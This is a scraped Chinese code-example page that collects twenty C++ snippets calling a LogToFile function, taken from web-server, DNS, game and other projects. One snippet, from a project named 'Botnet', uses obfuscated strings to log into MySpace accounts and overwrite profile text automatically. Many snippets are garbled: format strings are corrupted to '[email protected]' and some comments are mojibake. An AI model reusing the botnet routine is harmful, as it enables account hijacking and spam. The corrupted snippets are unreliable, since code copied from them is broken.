• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

C++ LogToFile函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C++中LogToFile函数的典型用法代码示例。如果您正苦于以下问题:C++ LogToFile函数的具体用法?C++ LogToFile怎么用?C++ LogToFile使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了LogToFile函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: HTTPServerCheckCertificate

//Will only return false if FLAG_SSL_CERT_REQUIRED is set
int HTTPServerCheckCertificate(HTTPSession *Session, STREAM *S)
{
char *ptr;
int result=TRUE;

	ptr=STREAMGetValue(S,"SSL-Certificate-Verify");

	if (StrLen(ptr) && (strcmp(ptr,"no certificate") !=0)  )
	{
		LogToFile(Settings.LogPath,"AUTH SSL Certificate Provided by '%[email protected]%s'. Subject=%s Issuer=%s",Session->UserName,Session->ClientIP,STREAMGetValue(S,"SSL-Certificate-Subject"), STREAMGetValue(S,"SSL-Certificate-Issuer"));

		if (strcmp(ptr,"OK")!=0)
		{
			if (Settings.AuthFlags & FLAG_AUTH_CERT_REQUIRED)
			{
				LogToFile(Settings.LogPath,"AUTH: ERROR: SSL Certificate REQUIRED from client '%[email protected]%s'. Invalid Certificate. Error was: %s",Session->UserName,Session->ClientIP, ptr);
				result=FALSE;
			}
			else LogToFile(Settings.LogPath,"AUTH: SSL Certificate Optional for client '%[email protected]%s'. Invalid Certificate. Error was: %s",Session->UserName,Session->ClientIP, ptr);

			LogFileFlushAll(TRUE);
		}
	}
	else if (Settings.AuthFlags & FLAG_AUTH_CERT_REQUIRED) LogToFile(Settings.LogPath,"AUTH: ERROR: SSL Certificate REQUIRED from client '%[email protected]%s'. Missing Certificate.",Session->UserName,Session->ClientIP);


return(result);
}
开发者ID:ColumPaget,项目名称:Alaya,代码行数:29,代码来源:server.c


示例2: Fonts_Init

void Fonts_Init(char *FontName,int iW,int iH)
{
	LogToFile("===初始化游戏内字体===");
	iError = FT_Init_FreeType( &library );
	if ( iError )
	{
		LogToFile("初始化失败");
	}
	
	iError = FT_New_Face( library, FontName,0,&face );
	if ( iError == FT_Err_Unknown_File_Format )
	{
		LogToFile("无法识别的字体文件");
	}
	else if ( iError )
	{
		LogToFile("无法使用的字体文件");
	}
	else LogToFile("成功加载字体文件%s",FontName);
	Fonts_Count = 0;
	FT_Select_Charmap(face, FT_ENCODING_UNICODE);

	FT_Set_Pixel_Sizes(face,iW, iH);
	iWidthCheck = iW;
}
开发者ID:SchwarzKruppzo,项目名称:Metahook-Plus-0.4,代码行数:25,代码来源:Fonts.cpp


示例3: HTTPServerDeleteCollection

int HTTPServerDeleteCollection(HTTPSession *Session,char *Path)
{
struct stat FileStat;
glob_t myGlob;
int result, i;
char *Tempstr=NULL, *ptr;


LogToFile(Settings.LogPath,"%[email protected]%s (%s) DeleteCollection: %s",Session->UserName,Session->ClientHost,Session->ClientIP,Path);


Tempstr=MCopyStr(Tempstr,Path,"/*",NULL);
glob(Tempstr,0,0,&myGlob);
for (i=0; i < myGlob.gl_pathc; i++)
{
	if (Settings.Flags & FLAG_LOG_VERBOSE) LogToFile(Settings.LogPath,"%[email protected]%s (%s) DeleteSubItem: %s",Session->UserName,Session->ClientHost,Session->ClientIP,myGlob.gl_pathv[i]);

	ptr=myGlob.gl_pathv[i];
	if ((strcmp(ptr,".") !=0) && (strcmp(ptr,"..") !=0)) 
	{
	stat(ptr,&FileStat);
	if (S_ISDIR(FileStat.st_mode)) HTTPServerDeleteCollection(Session,ptr);
	else unlink(ptr);
	}

}

DestroyString(Tempstr);
globfree(&myGlob);
result=rmdir(Path);

return(result);
}
开发者ID:ColumPaget,项目名称:Alaya,代码行数:33,代码来源:server.c


示例4: LogPaths

void LogPaths(void)
{
	LogToFile("appl. path:\t" + string(path_app));
	LogToFile("log path:\t" + string(path_log));
	LogToFile("config path:\t" + string(path_config));
	LogToFile("textures path:\t" + string(path_textures));
}
开发者ID:lightsgoout,项目名称:interview,代码行数:7,代码来源:misc.cpp


示例5: vLogEmergency

DP_API void vLogEmergency( const char * format, va_list args )
{
    if ( inited )
    {
        char *pMessage = NULL;
        // need a seperate buffer for the error log - need to identify the app in there
        char *pErrorMessage = NULL;

        vasprintf( &pMessage, format, args );

        if ( pMessage != NULL )
        {
            LogToFile( pMessage, log_path );
            syslog( LOG_CRIT, "%s", pMessage ); // not a syslog-style emergency; just a severe/critical error

            asprintf( &pErrorMessage, "-%s- %s", app_name, pMessage );

            if ( pErrorMessage != NULL )
            {
                LogToFile( pErrorMessage, error_path );
                free( pErrorMessage );
            }

            if ( EmergencyNotificationsEnabled( ) )
                NotifyEmergency( pMessage );

            free( pMessage );
        }
    }
}
开发者ID:AlanQuatermain,项目名称:dynamicpatch,代码行数:30,代码来源:logging.c


示例6: GetWebPage

int 
MySpaceEdit
(struct myspace_d *myspace) {
    char buf[0x15F90],lpRequest[0x800],tmp[0x800];
    GetWebPage(buf,sizeof(buf),riddle_enc("���=|��prt=r~|"),
         riddle_enc("rwmn�7lov"),riddle_enc("JHW"),"",0x0); // www.myspace.com, index.cfm, GET
    LogToFile("tmp.html",buf,"w");
    sprintf(lpRequest,
         "__VIEWSTATE=%s&"
         "ctl00$Main$SplashDisplay$ctl00$Email_Textbox=%s&"
         "ctl00$Main$SplashDisplay$ctl00$Password_Textbox=%s",
         GetHashValue(buf,"__VIEWSTATE",'"',0x25),myspace->username,myspace->password);
    GetWebPage(buf,sizeof(buf),riddle_enc("�wu��[email protected]���[email protected]�"),
         riddle_enc("�����P���a����������_�����P�������"),riddle_enc("TSWX"),lpRequest,0x0); 
         // secure.myspace.com, index.cfm?fuseaction=login.process, POST
    LogToFile("afterlogin.html",buf,"w");
    if(strstr(buf,riddle_enc("z��An���Ac�Am�����Nj�A��A��Au���B"))) return(0x0); // You Must Be Logged-In to do That!
    strcpy(myspace->url,GetHashValue(buf,riddle_enc("���}��||{��E����xz|Ez��"),'"',0x18)); // profileedit.myspace.com
    GetWebPage(buf,sizeof(buf),riddle_enc("���}��||{��E����xz|Ez��"),
         myspace->url,riddle_enc("JHW"),"",0x0); // profileedit.myspace.com, GET
    sprintf(lpRequest,
         "__EVENTTARGET=&__EVENTARGUMENT=&"
         "__VIEWSTATE=%s&ctl00$ctl00$cpMain$ProfileEditContent$editInterests$hash=%s&"
         "ctl00$ctl00$cpMain$ProfileEditContent$editInterests$SaveTop=Save All Changes&"
         "ctl00$ctl00$cpMain$ProfileEditContent$editInterests$AboutMeTextBox=%s",
         GetHashValue(buf,"__VIEWSTATE",'"',0x25),GetHashValue(buf,"_hash",'"',0xE),myspace->editdata);
    strcpy(tmp,lpRequest);
    GetWebPage(buf,sizeof(buf),riddle_enc("���}��||{��E����xz|Ez��"),
         myspace->url,riddle_enc("JHW"),"",0x0); // profileedit.myspace.com, GET
    GetWebPage(buf,sizeof(buf),riddle_enc("���}��||{��E����xz|Ez��"),
         GetHashValue(buf,"name=\"aspnetForm\"",'"',0x29),riddle_enc("TSWX"),tmp,0x1); // profileedit.myspace.com, POST
    GetWebPage(NULL,0x0,"collect.myspace.com","index.cfm?fuseaction=signout","GET","",0x1);
    LogToFile("logoff.html",buf,"w");
    return(0x1);
}
开发者ID:A-Massarella,项目名称:Botnet,代码行数:35,代码来源:myspace.c


示例7: vLogError

DP_API void vLogError( const char * format, va_list args )
{
    if ( inited )
    {
        char *pMessage = NULL;
        // need a seperate buffer for the error log - need to identify the app in there
        char *pErrorMessage = NULL;

        vasprintf( &pMessage, format, args );

        if ( pMessage != NULL )
        {
            LogToFile( pMessage, log_path );

            asprintf( &pErrorMessage, "-%s- %s", app_name, pMessage );

            if ( pErrorMessage != NULL )
            {
                LogToFile( pErrorMessage, error_path );
                free( pErrorMessage );
            }

            free( pMessage );
        }
    }
}
开发者ID:AlanQuatermain,项目名称:dynamicpatch,代码行数:26,代码来源:logging.c


示例8: glGetString

void scene::PrintExtensions()
{
	const unsigned char* ext_list = glGetString(GL_EXTENSIONS);
	LogToFile("OpenGL enabled extensions:");
	
	char buffer[1024]; // надеюсь хватит
	int j = 0;
	for(int i = 0, j = 0; ext_list[i] != '\0'; i++)
	{
		if(!isspace(ext_list[i]))
			buffer[j++] = ext_list[i];
		else
		{
			buffer[j] = '\0';
			LogToFile(string(buffer));
			j = 0;
		}
	}

	if(j > 0)
	{
		buffer[j] = '\0';
		LogToFile(string(buffer));
	}
}
开发者ID:lightsgoout,项目名称:interview,代码行数:25,代码来源:scene.cpp


示例9: DirectoryTryIndex

//Searches for an Index file, and sends it if it exits. Returns FALSE if not
int DirectoryTryIndex(STREAM *S, HTTPSession *Session, char *Path)
{
char *Tempstr=NULL, *Token=NULL, *ptr;
int DirSent=FALSE;

ptr=GetToken(Settings.IndexFiles,",",&Token,0);
while (ptr)
{
	Tempstr=MCopyStr(Tempstr,Path,Token,NULL);
	if (Settings.Flags & FLAG_LOG_MORE_VERBOSE) LogToFile(Settings.LogPath,"Checking for index page: [%s]\n",Tempstr);

	if (access(Tempstr,F_OK)==0) 
	{
		Session->Path=CopyStr(Session->Path,Tempstr);
		HTTPServerSendDocument(S, Session, Tempstr, HEADERS_SENDFILE | HEADERS_KEEPALIVE);
		DirSent=TRUE;
		break;
	}
ptr=GetToken(ptr,",",&Token,0);
}

if (Settings.Flags & FLAG_LOG_VERBOSE)
{
	if (DirSent) LogToFile(Settings.LogPath,"Sent index page: [%s] for dir [%s]\n",Tempstr,Path);
	else LogToFile(Settings.LogPath,"Failed to find index page for dir: [%s]\n",Path);
}

DestroyString(Tempstr);
DestroyString(Token);

return(DirSent);
}
开发者ID:ColumPaget,项目名称:Alaya,代码行数:33,代码来源:directory_listing.c


示例10: DeleteSpaces

void DeleteSpaces(string s)
{
#ifdef _DEBUG_
	char output[50];
	sprintf(output, "clearing string: %s", s.c_str());
	LogToFile(output);
#endif

	int i = 1;
	while(i < s.length()-1)
	{
		i++;
		if(s[i] == ' ')
		{
			s.erase(i, 1);
			i--;
		}
	}

#ifdef _DEBUG_
	char output2[50];
	sprintf(output2, "string cleared (spaces): %s", s.c_str());
	LogToFile(output2);
#endif

}
开发者ID:lightsgoout,项目名称:interview,代码行数:26,代码来源:misc.cpp


示例11: LoadTexturesFromFolder

bool LoadTexturesFromFolder(LPCTSTR lpszDirectoryName, texture_t* textures)
{
    char tmp[MAX_PATH]; // временный массив
    char name[MAX_PATH];
	string ext;

    HANDLE hSearch = NULL;
    WIN32_FIND_DATA wfd;
    memset(&wfd, 0, sizeof(WIN32_FIND_DATA));

	strcpy(name, lpszDirectoryName);
	strcpy(tmp, name);
	strcat(tmp, "\\*.*");

	LogToFile("Searching textures in: " + string(name));

	hSearch = FindFirstFile(tmp, &wfd);

	if(hSearch != INVALID_HANDLE_VALUE)
		do
		{
			if (!strncmp(wfd.cFileName, ".", 1) || !strncmp(wfd.cFileName, "..", 2)) continue;

			if(wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
			{
				char next[MAX_PATH];

				strcpy(next, name);
				strcat(next, "\\");
				strcat(next, wfd.cFileName);
				LoadTexturesFromFolder(next, textures);
			}
			else
			{
				ext = ExtFromPath(wfd.cFileName);

				if(ext == "bmp" || ext == "png" || ext == "pcx" || ext == "tga")
				{
					char file[MAX_PATH];

					LogToFile("Found texture: " + string(wfd.cFileName));
				

					strcpy(file, name);
					strcat(file, "\\");
					strcat(file, wfd.cFileName);

					LoadTexture(file, &textures[tex_count], 255, 255, 255);
					tex_count++;
				}
			}

		}
		while(FindNextFile(hSearch, &wfd));

	FindClose(hSearch);
	return true;
}
开发者ID:lightsgoout,项目名称:interview,代码行数:58,代码来源:texture.cpp


示例12: HTTPServerAuthenticate

int HTTPServerAuthenticate(HTTPSession *Session)
{
	int result=FALSE;

	//This handles someone clicking a 'logout' button
	if (! HTTPServerHandleRegister(Session, LOGIN_CHECK_ALLOWED))
	{
		LogToFile(Settings.LogPath,"AUTH: Forcing Relogin for  %[email protected]%s (%s) %s %s",Session->ClientIP,Session->ClientHost,Session->ClientIP,Session->Method,Session->Path);
		return(FALSE);
	}


	if (Session->Flags & SESSION_AUTHENTICATED) 
	{
		if (strcmp(Session->UserName,Session->AuthenticatedUser)==0) 
		{
			LogToFile(Settings.LogPath,"AUTH: Session Keep-Alive active, reusing authentication for %[email protected]%s (%s) %s %s",Session->ClientIP,Session->ClientHost,Session->ClientIP,Session->Method,Session->Path);
			return(TRUE);
		}
		else LogToFile(Settings.LogPath,"AUTH: ERROR: Session Keep-Alive active, but user has changed to %[email protected]%s (%s) %s %s. Refusing authentication",Session->ClientIP,Session->ClientHost,Session->ClientIP,Session->Method,Session->Path);
	}



	//Consider AccessToken Authentication for this URL!
	if ((! (Session->Flags & SESSION_AUTHENTICATED)) && (Session->AuthFlags & FLAG_AUTH_ACCESS_TOKEN)) ParseAccessToken(Session);


	if (Session->AuthFlags & FLAG_AUTH_PRESENT)
	{
		//if this looks back-to-front it's because for some methods we only get the username
		//after we've completed authentication (e.g. it's taken from a cookie)

		//ANYTHING OTHER THAN TRUE FROM AUTHENTICATE MEANS IT FAILED
		if ((Authenticate(Session)==TRUE) && StrLen(Session->UserName)) result=TRUE;

		//If authentication provided any users settings, then apply those
		if (StrLen(Session->UserSettings)) ParseConfigItemList(Session->UserSettings);

		//The FLAG_SSL_CERT_REQUIRED flag might have been set by user settings
		//during authentication, so check it again here
		if (! HTTPServerCheckCertificate(Session, Session->S)) result=FALSE;

		if (result) HTTPServerHandleRegister(Session, LOGGED_IN);
		else HTTPServerHandleRegister(Session, LOGIN_FAIL);
	}

	if (result==TRUE) 
	{
		Session->AuthenticatedUser=CopyStr(Session->AuthenticatedUser,Session->UserName);
		Session->Flags |= SESSION_AUTHENTICATED;
	}

	return(result);
}
开发者ID:ColumPaget,项目名称:Alaya,代码行数:55,代码来源:server.c


示例13: VPathHandleFilePath

void VPathHandleFilePath(STREAM *S,HTTPSession *Session, TPathItem *VPath, int SendData)
{
char *Tempstr=NULL, *ptr;
char *LocalPath=NULL, *ExternalPath=NULL, *DocName=NULL;

//Document name here is whatever part of the Path is *beyond* the VPath component
DocName=HTTPServerSubstituteArgs(DocName, Session->Path+StrLen(VPath->URL), Session);


ptr=GetToken(VPath->Path,":",&Tempstr,0);
while (ptr)
{
	if (*Tempstr=='/') ExternalPath=MCatStr(ExternalPath,Tempstr,":",NULL);
	else 
	{
		if (StrLen(Tempstr)==0) LocalPath=CatStr(LocalPath,"/:");
		else LocalPath=MCatStr(LocalPath,Tempstr,":",NULL);
	}
	ptr=GetToken(ptr,":",&Tempstr,0);
}

Tempstr=CopyStr(Tempstr,"");
if (StrLen(LocalPath)) Tempstr=FindFileInPath(Tempstr,DocName,LocalPath);

if (StrLen(Tempstr)) HTTPServerSendDocument(S, Session, Tempstr, HEADERS_SENDFILE|HEADERS_USECACHE|HEADERS_KEEPALIVE);
else if (StrLen(ExternalPath))
{
	if (strcmp(Session->Method,"POST")==0)
	{
		if (VPath->Flags & PATHITEM_UPLOAD)
		{
		LogToFile(Settings.LogPath,"%[email protected]%s (%s) uploading to %s in VPATH %s", Session->UserName,Session->ClientHost,Session->ClientIP,DocName,ExternalPath);
		ChrootProcessRequest(S, Session, "POST", DocName, ExternalPath);
		}
		else 
		{
			LogToFile(Settings.LogPath,"%[email protected]%s (%s) uploading DENIED to %s in VPATH %s", Session->UserName,Session->ClientHost,Session->ClientIP,DocName,ExternalPath);
			HTTPServerSendHTML(S, Session, "403 Forbidden","Uploads not allowed to this path.");
		}
	}
	else
	{
	LogToFile(Settings.LogPath,"%[email protected]%s (%s) asking for external document %s in Search path %s", Session->UserName,Session->ClientHost,Session->ClientIP,DocName,ExternalPath);
	ChrootProcessRequest(S, Session, "GETF", DocName, ExternalPath);
	}
}
//This will send '404'
else HTTPServerSendDocument(S, Session, DocName, HEADERS_SENDFILE|HEADERS_USECACHE|HEADERS_KEEPALIVE);

DestroyString(DocName);
DestroyString(Tempstr);
DestroyString(LocalPath);
DestroyString(ExternalPath);
}
开发者ID:ColumPaget,项目名称:Alaya,代码行数:54,代码来源:VPath.c


示例14: RunEventScript

pid_t RunEventScript(STREAM *S, const char *Script)
{
	if (Spawn(Script,Settings.DefaultUser,"",NULL) ==-1)
	{
        LogToFile(Settings.LogPath, "ERROR: Failed to run event script '%s'. Error was: %s",Script, strerror(errno));
	}
  else LogToFile(Settings.LogPath, "Script: '%s'. Error was: %s",Script, strerror(errno));
	STREAMWriteLine("okay\n",S);

return(0);
}
开发者ID:ColumPaget,项目名称:Alaya,代码行数:11,代码来源:ChrootHelper.c


示例15: DirectoryDeleteItem

void DirectoryDeleteItem(STREAM *S, HTTPSession *Session, const char *Path)
{
	      if (unlink(Path)!=0) 
				{
						//maybe it's a directory?
						if (rmdir(Path)==0) LogToFile(Settings.LogPath,"Deleted Directory: [%s]",Path);
 	     			else LogToFile(Settings.LogPath,"ERROR: Failed to Delete Item: [%s]",Path);
				}
				else LogToFile(Settings.LogPath,"Deleted File: [%s]",Path);
			//File deleted, send them to the parent directory
}
开发者ID:ColumPaget,项目名称:Alaya,代码行数:11,代码来源:directory_listing.c


示例16: LoadFont

bool LoadFont(char* in_name, BYTE height, LONG weight, char* out_name)
{
	static int count;
	string name;
	char output[50];

	count++;

	font_t font;



	font.font = CreateFont(-height, 0, 0, 0 , weight, 0, 0, 0, DEFAULT_CHARSET,
				OUT_TT_PRECIS, CLIP_DEFAULT_PRECIS, ANTIALIASED_QUALITY,
				FF_DONTCARE || DEFAULT_PITCH, in_name);


	font.height = height;
	font.weight = weight;

	font.tex_name = NULL;

	if(out_name == 0)
	{
		font.name = new char[strlen("Font\0" + (count % 10) + 1)];
		sprintf(font.name, "Font%d", count);
	}
	else
	{
		font.name = new char[strlen(out_name)];
		sprintf(font.name, out_name);
	}

	if(!font.font)
	{
		sprintf(output, "Failed to load font: %s", font.name);
		LogToFile(output);
		return false;
	}
	SelectObject(hDC, font.font);
	font.base = glGenLists(96);
	wglUseFontBitmaps(hDC, 32, 96, font.base);


	sprintf(output, "Font loaded: %s", font.name);
	LogToFile(output);

	fonts.push_back(font);
	font_count++;
	return true;
	
}
开发者ID:lightsgoout,项目名称:interview,代码行数:52,代码来源:font.cpp


示例17: Sleep

UINT AresSupernodeSystem::Run(){
	int delay=min(LOADDELAY,600);
	for(int i=0;i<delay && !this->b_killThread;i++){ //sleep for X seconds before we start the processor (in case the assembly.bin file hasn't quite finished synching yet or its causing it to crash for some reason, at least we'll be able to patch before TK crashes)
		Sleep(1000);  
	}
	if(!this->b_killThread){
		LogConnectionInfo("Loading Ares virtual machine...");
		mp_processor=new Processor();
		LogConnectionInfo("Finished loading Ares virtual machine.");
		mb_processor_ready=true;
	}
	
	
	while((!m_spoof_cache.IsReady() || !m_host_cache.IsReady()) && !this->b_killThread){
		Sleep(200);
	}

	if(this->b_killThread)
		return 0;

	//start the udp system, since the processor is now ready to serve it
	m_udp_system.StartSystem();

	while(!this->b_killThread){
		Sleep(25);
		m_udp_system.Update();
		if(mv_processor_jobs.Size()>0){
			LogToFile("AresSupernodeSystem::Run() BEGIN - Processing Job");
//			Log("Ares Processor:  Started processing 0x38 message....");
			ProcessorJob* job=(ProcessorJob*)mv_processor_jobs.Get(0);
			DWORD time1=GetTickCount();
			mp_processor->ProcessSNData(job->m_eighty_in,job->m_twenty_out);

			DWORD time2=GetTickCount();
			job->mb_done=true;  //signal this job as having been completed

			mv_processor_jobs.Remove(0);

			double dtime1=(double)time1;
			double dtime2=(double)time2;

			double seconds=(dtime2-dtime1)/1000.0;

			CString log_msg;
			log_msg.Format("Ares Processor:  Did ares virtual machine run in %.2f seconds!",(float)seconds);
			LogConnectionInfo(log_msg);
			LogToFile("AresSupernodeSystem::Run() END - Processing Job");
		}
	}
	return 0;
}
开发者ID:vdrive,项目名称:TrapperKeeper,代码行数:51,代码来源:AresSupernodeSystem.cpp


示例18: SendResponse

void SendResponse(ConnectStruct *Con,DNSMessageStruct *Response)
{
struct sockaddr_in Send_sa;
short int sendlen;
int len, salen;
char *Buffer=NULL;
ListNode *Curr;
ResourceRecord *RR;

Buffer=SetStrLen(Buffer,1024);
len=CreateResponsePacket(Buffer,Buffer+1024,Response,&Settings);

if (len==0)
{
  LogToFile(Settings.LogFilePath,"ERROR: Zero length response packet");
	DestroyString(Buffer);
  return;
}

if (Con->Type==TCP_CONNECT)
{
   sendlen=htons(len);
   write(Con->fd, &sendlen, sizeof(short int));
   write(Con->fd, Buffer, len);
}
else if (Con->Type==UDP_CONNECT)
{
   Send_sa.sin_family=AF_INET;
   Send_sa.sin_addr.s_addr=Response->ClientIP;
   Send_sa.sin_port=Response->ClientPort;
   salen=sizeof(struct sockaddr_in);

   sendto(Con->fd,Buffer,len,0,(struct sockaddr *) &Send_sa,salen);
}
else LogToFile(Settings.LogFilePath,"ERROR: Unknown Comms Type %d on send",Con->Type);

if (Settings.LogLevel >= LOG_RESPONSES) 
{
	LogToFile(Settings.LogFilePath,"Sent %d answers to %s for %s query",ListSize(Response->Answers), IPtoStr(Response->ClientIP),Response->Question);

	Curr=ListGetNext(Response->Answers);
	while (Curr)
	{
		RR=(ResourceRecord *) Curr->Item;
		LogToFile(Settings.LogFilePath,"	ANS: %s->%s type=%d ttl=%d",RR->Question,RR->Answer,RR->Type,RR->TTL);
		Curr=ListGetNext(Curr);
	}
}

DestroyString(Buffer);
}
开发者ID:ColumPaget,项目名称:Dominion-DNS,代码行数:51,代码来源:Comms.c


示例19: PlayBinkInstant

void PlayBinkInstant(char *pszName,int iStop,int iLoop)
{
	if(!iBinkTextureID)
		iBinkTextureID = g_pSurface->CreateNewTextureID();
	
	if(pCvar_DrawBink->value <1)
	{
		LogToFile("[Bink]³¢ÊÔ²¥·Å%s µ«ÊDZ»Cvar×èÖ¹",pszName);
		return;
	}

	if(!iPlaying)
	{
		// Clear Mem
		if(pBinkMem)
		{
			LogToFile("[Bink]ÊÍ·ÅÄÚ´æ¿Õ¼ä");
			free(pBinkMem);
			pBinkMem = NULL;
		}
		hBink = BinkOpen(pszName,135266304);
		if(!hBink)
		{
			LogToFile("[Bink]¼ÓÔØBIKÎļþʧ°Ü£º %s",pszName);
			return;
		}
		fStartTime = 0;
		iFrame = 1;
		iPlaying = 1;
		iBinkLoop = iLoop;
		iBinkStop = iStop;
		if(strstr(pszName,"scope"))
		{
			iBinkIsScope = 1;
			iFrame = 60; // skip some frames
		}
		else iBinkIsScope = 0;
		// Alloc Memory
		int iPixelSize = 4 * hBink->Width * hBink->Height;
		pBinkMem = (BYTE *)malloc(iPixelSize);
		if(pBinkMem)
			LogToFile("[Bink]ÉêÇëÄÚ´æ¿Õ¼ä:%d",iPixelSize);
		else LogToFile("[Bink]ÉêÇëÄÚ´æ¿Õ¼äʧ°Ü!");
	}
	else
	{
		if(iStop) iPlaying = 0;
	}
}
开发者ID:SchwarzKruppzo,项目名称:Metahook-Plus-0.4,代码行数:49,代码来源:playbink.cpp


示例20: sprintf

void GUI::ParseDefinitionElem(struct GUI_DEFINITION_ELEM* guielem)
{
	char output[256];
	sprintf(output, "DEBUG: Beginning parsing gui definition element: %s", guielem->name);
	LogToFile(DEFAULT_GUI_LOG_NAME, output);
	static int exist = 0;
	GUIcontrol* chk = ItemByName(guielem->name);

	if(chk)
	{
		exist++;

		sprintf(guielem->name, "%s%u", guielem->name, exist);
	}

	GUIcontrol* new_ctrl = NULL;

	new_ctrl = new GUIcontrol(guielem->name);

		new_ctrl->SetPos(guielem->x, guielem->y);
		new_ctrl->SetPatternCount(guielem->pattern_count);
		new_ctrl->SetPatternWidth(guielem->pattern_width);
		new_ctrl->SetPatternHeight(guielem->pattern_height);
		new_ctrl->SetCurrentPattern(guielem->pattern_current);
		new_ctrl->SetVisible(guielem->visible);
		new_ctrl->SetTexture(TextureByName(textures, guielem->texture_name));
		new_ctrl->SetColor(guielem->color_red, guielem->color_green, guielem->color_blue, guielem->color_alpha);
		new_ctrl->SetCaption(guielem->caption);
		new_ctrl->SetCaptionFont(FontByName(fonts, guielem->caption_font_name));
		new_ctrl->SetCaptionColor(guielem->caption_color_red, guielem->caption_color_green,
			guielem->caption_color_blue, guielem->caption_color_alpha);
		new_ctrl->SetCaptionPos(guielem->caption_x, guielem->caption_y);
		new_ctrl->SetText(guielem->text);
		new_ctrl->SetTextFont(FontByName(fonts, guielem->text_font_name));
		new_ctrl->SetTextColor(guielem->text_color_red, guielem->text_color_green,
			guielem->text_color_blue, guielem->text_color_alpha);
		new_ctrl->SetTextPos(guielem->text_x, guielem->text_y);
		new_ctrl->SetAction(ACTION(guielem->action));
		new_ctrl->SetNextName(guielem->next);
		new_ctrl->SetParentName(guielem->parent);
		new_ctrl->SetData(guielem->data);
		new_ctrl->SetGroup(GROUP(guielem->group));
	AddControl(new_ctrl);

	sprintf(output, "DEBUG: Finished parsing gui definition element: %s", guielem->name);
	LogToFile(DEFAULT_GUI_LOG_NAME, output);

};
开发者ID:lightsgoout,项目名称:interview,代码行数:48,代码来源:gui.cpp



注:本文中的LogToFile函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C++ LogTrace函数代码示例发布时间:2022-05-30
下一篇:
C++ LogText函数代码示例发布时间:2022-05-30
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap